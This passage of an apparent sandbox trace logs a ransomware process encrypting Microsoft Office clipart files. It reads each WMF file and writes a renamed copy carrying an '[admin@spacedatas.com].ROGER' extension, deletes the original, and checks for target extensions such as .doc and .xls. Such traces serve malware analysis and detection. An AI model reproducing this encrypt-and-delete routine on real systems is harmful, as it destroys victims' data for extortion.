office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.432] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.432] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0058.432] GetLastError () returned 0x0 [0058.432] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x17ac, lpOverlapped=0x0) returned 1 [0058.459] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0058.460] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.460] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.460] SetEndOfFile (hFile=0x3f4) returned 1 [0058.460] CloseHandle (hObject=0x3f4) returned 1 [0058.460] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.460] SetEndOfFile (hFile=0x3fc) returned 1 [0058.461] CloseHandle (hObject=0x3fc) returned 1 [0058.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0058.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.461] lstrlenW (lpString=".doc") returned 4 [0058.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.461] lstrlenW (lpString=".docx") returned 5 [0058.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.461] lstrlenW (lpString=".pdf") returned 4 [0058.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString=".xls") returned 4 [0058.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.462] lstrlenW (lpString=".xlsx") returned 5 [0058.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.462] lstrlenW (lpString=".ppt") returned 4 [0058.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.462] lstrlenW (lpString=".zip") returned 4 [0058.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.462] lstrlenW (lpString=".rar") returned 4 [0058.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString=".bz2") returned 4 [0058.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString=".7z") returned 3 [0058.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.462] lstrlenW (lpString=".dbf") returned 4 [0058.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.462] lstrlenW (lpString=".1cd") returned 4 [0058.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.462] lstrlenW (lpString=".jpg") returned 4 [0058.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.462] lstrlenW (lpString=".doc") returned 4 [0058.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString=".docx") returned 5 [0058.462] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.462] lstrlenW (lpString=".pdf") returned 4 [0058.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.462] lstrlenW (lpString=".xls") returned 4 [0058.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.462] lstrlenW (lpString=".xlsx") returned 5 [0058.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.463] lstrlenW (lpString=".ppt") returned 4 [0058.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.463] lstrlenW (lpString=".zip") returned 4 [0058.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.463] lstrlenW (lpString=".rar") returned 4 [0058.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.463] lstrlenW (lpString=".bz2") returned 4 [0058.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.463] lstrlenW (lpString=".7z") returned 3 [0058.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.463] lstrlenW (lpString=".dbf") returned 4 [0058.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.463] lstrlenW (lpString=".1cd") returned 4 [0058.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0058.463] lstrlenW (lpString=".jpg") returned 4 [0058.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.463] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.463] lstrlenW (lpString="AN04134_.WMF") returned 12 [0058.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.464] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=3416) returned 1 [0058.464] CloseHandle (hObject=0x3fc) returned 1 [0058.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0058.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0058.464] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.464] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0058.464] GetLastError () returned 0x0 [0058.464] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xd58, lpOverlapped=0x0) returned 1 [0058.468] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xd60, lpOverlapped=0x0) returned 1 [0058.469] ReadFile (in: hFile=0x3fc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.469] WriteFile (in: hFile=0x3f4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.469] SetEndOfFile (hFile=0x3f4) returned 1 [0058.469] CloseHandle (hObject=0x3f4) returned 1 [0058.470] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.470] SetEndOfFile (hFile=0x3fc) returned 1 [0058.470] CloseHandle (hObject=0x3fc) returned 1 [0058.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0058.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.471] lstrlenW (lpString=".doc") returned 4 [0058.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.471] lstrlenW (lpString=".docx") returned 5 [0058.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.471] lstrlenW (lpString=".pdf") returned 4 [0058.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.471] lstrlenW (lpString=".xls") returned 4 [0058.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.471] lstrlenW (lpString=".xlsx") returned 5 [0058.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.471] lstrlenW (lpString=".ppt") returned 4 [0058.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.471] lstrlenW (lpString=".zip") returned 4 [0058.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.471] lstrlenW (lpString=".rar") returned 4 [0058.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.471] lstrlenW (lpString=".bz2") returned 4 [0058.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.471] lstrlenW (lpString=".7z") returned 3 [0058.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.471] lstrlenW (lpString=".dbf") returned 4 [0058.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.471] lstrlenW (lpString=".1cd") returned 4 [0058.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.472] lstrlenW (lpString=".jpg") returned 4 [0058.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.472] lstrlenW (lpString=".doc") returned 4 [0058.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString=".docx") returned 5 [0058.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.472] lstrlenW (lpString=".pdf") returned 4 [0058.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString=".xls") returned 4 [0058.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.472] lstrlenW (lpString=".xlsx") returned 5 [0058.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.472] lstrlenW (lpString=".ppt") returned 4 [0058.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.472] lstrlenW (lpString=".zip") returned 4 [0058.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.472] lstrlenW (lpString=".rar") returned 4 [0058.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString=".bz2") returned 4 [0058.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString=".7z") returned 3 [0058.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.472] lstrlenW (lpString=".dbf") returned 4 [0058.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.472] lstrlenW (lpString=".1cd") returned 4 [0058.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0058.473] lstrlenW (lpString=".jpg") returned 4 [0058.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.473] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.473] lstrlenW (lpString="AN04174_.WMF") returned 12 [0058.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0058.474] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=2636) returned 1 [0058.474] CloseHandle (hObject=0x3f8) returned 1 [0058.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0058.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0058.475] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.475] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0058.475] GetLastError () returned 0x0 [0058.475] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xa4c, lpOverlapped=0x0) returned 1 [0058.479] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xa50, lpOverlapped=0x0) returned 1 [0058.481] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.481] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.481] SetEndOfFile (hFile=0x410) returned 1 [0058.481] CloseHandle (hObject=0x410) returned 1 [0058.481] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.481] SetEndOfFile (hFile=0x3f8) returned 1 [0058.482] CloseHandle (hObject=0x3f8) returned 1 [0058.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0058.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.482] lstrlenW (lpString=".doc") returned 4 [0058.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.482] lstrlenW (lpString=".docx") returned 5 [0058.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.482] lstrlenW (lpString=".pdf") returned 4 [0058.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.482] lstrlenW (lpString=".xls") returned 4 [0058.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.482] lstrlenW (lpString=".xlsx") returned 5 [0058.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.482] lstrlenW (lpString=".ppt") returned 4 [0058.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.483] lstrlenW (lpString=".zip") returned 4 [0058.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.483] lstrlenW (lpString=".rar") returned 4 [0058.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString=".bz2") returned 4 [0058.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString=".7z") returned 3 [0058.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.483] lstrlenW (lpString=".dbf") returned 4 [0058.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.483] lstrlenW (lpString=".1cd") returned 4 [0058.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.483] lstrlenW (lpString=".jpg") returned 4 [0058.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.483] lstrlenW (lpString=".doc") returned 4 [0058.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString=".docx") returned 5 [0058.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.483] lstrlenW (lpString=".pdf") returned 4 [0058.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString=".xls") returned 4 [0058.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.483] lstrlenW (lpString=".xlsx") returned 5 [0058.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.483] lstrlenW (lpString=".ppt") returned 4 [0058.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.484] lstrlenW (lpString=".zip") returned 4 [0058.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.484] lstrlenW (lpString=".rar") returned 4 [0058.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.484] lstrlenW (lpString=".bz2") returned 4 [0058.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.484] lstrlenW (lpString=".7z") returned 3 [0058.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.484] lstrlenW (lpString=".dbf") returned 4 [0058.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.484] lstrlenW (lpString=".1cd") returned 4 [0058.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0058.484] lstrlenW (lpString=".jpg") returned 4 [0058.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.484] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.484] lstrlenW (lpString="AN04191_.WMF") returned 12 [0058.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0058.484] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=6636) returned 1 [0058.484] CloseHandle (hObject=0x3f8) returned 1 [0058.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0058.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0058.485] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.485] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 